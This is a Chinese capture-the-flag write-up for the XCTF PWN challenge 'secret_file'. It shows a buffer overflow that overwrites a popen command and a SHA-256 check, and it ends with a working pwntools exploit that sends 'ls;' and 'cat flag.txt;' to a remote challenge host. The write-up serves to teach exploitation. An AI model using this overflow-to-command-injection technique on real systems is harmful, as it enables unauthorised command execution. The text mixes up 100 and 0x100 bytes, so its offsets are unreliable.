攻防世界PWN之secret_file题解

首先,我们看一下程序的保护机制

攻防世界PWN之secret_file题解_第1张图片

吓了一跳,几个关键保护全开。

然后,我们用IDA分析一下

攻防世界PWN之secret_file题解_第2张图片

好像很复杂的样子。以往的ROP这些都用不了。然而,只要这个条件成立,就可以执行popen了。

其中,我们发现v15是一个定值,在这里面被初始化,调试后发现是一个字符串9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127,是一个hash

 

程序的流程是这样的

攻防世界PWN之secret_file题解_第3张图片

让我们看看v15v17dest直接的位置关系

攻防世界PWN之secret_file题解_第4张图片

v14是popen的command字符串,v15是预先的hash字符串,v17是计算出来的hash。我们可以溢出dest,覆盖v14位置为我们需要的shell命令,覆盖v15为100个字符的hash值,因为那个hash函数,限制了最多100个字符,而前面100个字符是我们自己构造的,我们可以单独计算出它的hash值,再覆盖给v15。这样,strcmp比较两个字符串相等,返回0

 

在我们的payload中,前100个字符是a,因此我们需要先算出’a’*100hash值。

我们发现,dest向后100个字节处正好是command的开始

因此,我们的payload如下

需要注意的是,命令末尾的分号(;)不能省略,具体看shell的规则,用分号隔开。

  1. padding = 'a'*0x100  
  2.   
  3. payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  

注意,最开始我们不知道有哪些文件,所以,第一次,我们的payload应该是这样

  1. padding = 'a'*0x100  
  2.   
  3. payload = padding + 'ls;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  

然后我们得到了文件名,再来第二次,得到答案

 

由于程序使用的是popen,因此/bin/sh传进去不能交互。要执行一条命令,必须关闭程序,再来一次。

 

我们最终的Exp脚本为

  1. from pwn import *  
  2. import hashlib  
  3.   
  4. #sh = process('./pwnh20')  
  5. sh = remote('111.198.29.45',31436)  
  6.   
  7. padding = 'a'*0x100  
  8.   
  9. payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()  
  10.   
  11. sh.sendline(payload)  
  12.   
  13. sh.interactive() 

你可能感兴趣的:(pwn,CTF,二进制漏洞)